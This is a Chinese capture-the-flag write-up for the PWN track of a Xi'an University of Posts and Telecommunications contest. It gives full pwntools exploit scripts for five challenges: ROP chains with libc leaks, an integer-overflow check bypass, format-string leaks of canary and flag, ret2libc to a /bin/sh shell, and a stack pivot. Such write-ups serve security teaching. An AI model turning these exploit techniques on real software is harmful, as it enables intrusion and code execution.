西安邮电大学第三届网络安全技能大赛---PWN方向WP

时间:2022-11-15 14:51:47

ezshell

查看bin目录发现只能执行五个指令nl,cd,ls,chmod,chattr
nl可以来查看文件内容,flag被分成了两部分,逐个文件查找flag即可

ezrop

西安邮电大学第三届网络安全技能大赛---PWN方向WP西安邮电大学第三届网络安全技能大赛---PWN方向WP

开启了沙箱,禁用了execve
西安邮电大学第三届网络安全技能大赛---PWN方向WP

read函数存在栈溢出,先利用puts函数泄露libc,再使用orw读取flag,需要注意的是sandbox函数里将文件标识符2关闭了。
在这之前还需要满足math函数返回值不为0
西安邮电大学第三届网络安全技能大赛---PWN方向WP

c为1,即满足a>10,b>10,a/b=c=100,这里使用了整数溢出,int型数据最大为32bit,我们只需使得相乘后的数低32bit为100即可,然后在构造rop链的时候,每次会调用math()函数,每次c=c100,所以每次构造的数也要改变
(0x80000000−10)
(0x80000000−10)的低32bit为100
(0x80000000−100)*(0x80000000−100)的低32bit为10000,依次类推

exp

# coding=utf-8
from pwn import *
#r=process('./pwn02')
r=remote("0.0.0.0",10004)
libc=ELF('/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
elf=ELF('./pwn02')
context(endian='little',os='linux',arch='amd64',log_level='debug') #小端序,linux系统,64位架构,debug

def dbg():
        gdb.attach(r)
        pause()
        
r.recvuntil('能不能找到a和b,使得a>10,b>10,a*b=100')
r.sendline("a = 2147483638")
r.sendline("b = 2147483638")
main = elf.sym['main']
rdi=0x0000000000400a03
rsi=0x0000000000400a01
r.recvuntil("Welcome to the 3rd Xi'an Post and Telecommunications School Competition, this time a little difficult\n")
 
puts_plt = 0x4005f0 
puts_got = 0x601018
pay=b'a'*0x68+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.sendline(pay)
leak=u64(r.recv(6)+b'\x00'*2)
libc_base=leak-libc.sym['puts']
r.recvuntil('能不能找到a和b,使得a>10,b>10,a*b=100')
r.sendline("a = 2147483548")
r.sendline("b = 2147483548")
r.recvuntil("Welcome to the 3rd Xi'an Post and Telecommunications School Competition, this time a little difficult\n")
payload=b'a'*0x68+p64(rdi)+p64(0)+p64(rsi)+p64(0x601200)+p64(0x40)+p64(libc_base+libc.sym['read'])+p64(main)
r.send(payload)
sleep(0.01)
r.send('flag.txt')
r.recvuntil('能不能找到a和b,使得a>10,b>10,a*b=100')
r.sendline("a = 2147482648")
r.sendline("b = 2147482648")
r.recvuntil("Welcome to the 3rd Xi'an Post and Telecommunications School Competition, this time a little difficult\n")
payload=b'a'*0x68+p64(rdi)+p64(0x2)+p64(rsi)+p64(0x601200)+p64(0)+p64(libc_base+libc.sym['syscall'])
payload+=p64(rdi)+p64(2)+p64(rsi)+p64(0x601200)+p64(0x100)+p64(libc_base+libc.sym['read'])
payload+=p64(rdi)+p64(0x601200)+p64(puts_plt)+p64(main)
r.send(payload)
r.interactive()

不太正常的ROP

西安邮电大学第三届网络安全技能大赛---PWN方向WP
存在格式化字符串,可用来泄露elf基地址和canary,ret2libc,注意格式化字符串进行了base64解密,我们需要发送base64加密的格式化字符串,
最后close(1),关闭了标准输出,获得shell后,执行exec 1>&0,把标准输出重定向到标准输入

exp

# coding=utf-8
from pwn import *
 
import base64
context.log_level='debug'
s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims		    :p.recvuntil(delims)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(p)
        pause()
#p=process('./pwn03')
p = remote("0.0.0.0",10002)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
ru('如果给你两次机会,你会做些什么事情???\n')
payload=b"%23$p%27$p%25$p"
 
content=bytes(str(base64.b64encode(payload),encoding='utf-8'),encoding='utf-8') 
sl(content)
canary = int(r(18),16)
lg('canary',canary)
libc_base =  int(r(14),16) -0x24083
 
lg('libc_base',libc_base)
elf =  int(r(14),16)-0x15e3 -0x2a -0xb
lg('elf',elf)
 
ru("现在你还有一次机会,好好珍惜。\n")
 	
pop_rdi_ret = 0x0000000000001693+ elf
ret = 0x101a+ elf

system = libc_base +libc.symbols["system"]
binsh = next(libc.search(b"/bin/sh\x00"))+ libc_base
 
payload = b'a' * 0x48 + p64(canary) + b'a' * 8 +   p64(ret)+p64(pop_rdi_ret) + p64(binsh) + p64(system)
sl(payload)
sleep(0.01)
sl("exec 1>&0")
sleep(0.01)
sl("cat flag.txt")
itr() 

ezlogin_in

西安邮电大学第三届网络安全技能大赛---PWN方向WP
一个登录题,需要输入特定的字符串才可以进入到漏洞函数
经逆向分析可得需要先输入3thCTF $ SIGNIN XUPT r00t
再输入任意字符绕过scanf的%d输入,
最后再输入一次3thCTF $ secret6 XUPT r00t
一次3thCTF $ SIGNIN XUPT r00t

之后进入next函数,存在格式化字符串漏洞

西安邮电大学第三届网络安全技能大赛---PWN方向WP

格式化字符串泄露位于栈上的flag
gdb本地调试获得flag位置的第一个参数为8

exp

from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./pwn04')
sh=remote('0.0.0.0',10001)
elf=ELF('./pwn04')
 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims		    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
    
 
ru('> ')
sl('3thCTF $ SIGNIN XUPT   r00t')
ru('hahahha,给你一个小礼物,请输入一个数字:')
 
sl('a')
ru('> > ')
sl('3thCTF $ secret6 XUPT   r00t')
ru('> ')
sl('3thCTF $ SIGNIN XUPT   r00t')
ru('Good,下面开始你的表演:\n')
sl('%8$p%9$p%10%11$p%12$p%13$p%14$p')
itr() 

打远程时flag文件里混有中文,注意观察这些16进制,前面有一些大于0x7f的数也就是不可见字符(中文),67616c66分别是galf,因为是小端序存储,且8字节一组,说明远程的flag是从第11个参数开始的
西安邮电大学第三届网络安全技能大赛---PWN方向WP

利用在线工具16进制转ascil得flag

西安邮电大学第三届网络安全技能大赛---PWN方向WP
西安邮电大学第三届网络安全技能大赛---PWN方向WP

我能移动到哪???

程序给出了stack地址和system函数,简单的栈迁移

exp

# encoding=utf-8
from pwn import *
elf = ELF('./pwn05')
sh = process('./pwn05')
leave_ret = 0x000000000040079b
pop_rdi_ret = 0x0000000000400893
system = 0x4007F3
sh.recvuntil("hahaha,")
stack = int(sh.recv(14),16)
print('stack = '+hex(stack))
fake_ebp = stack-8
payload = p64(pop_rdi_ret)+p64(stack+0x18)+p64(system)+b"/bin/sh\x00"+b'a'*0x20+p64(fake_ebp)+p64(leave_ret)
sh.recvuntil("CTFer:\n")
sh.send(payload)
sh.interactive()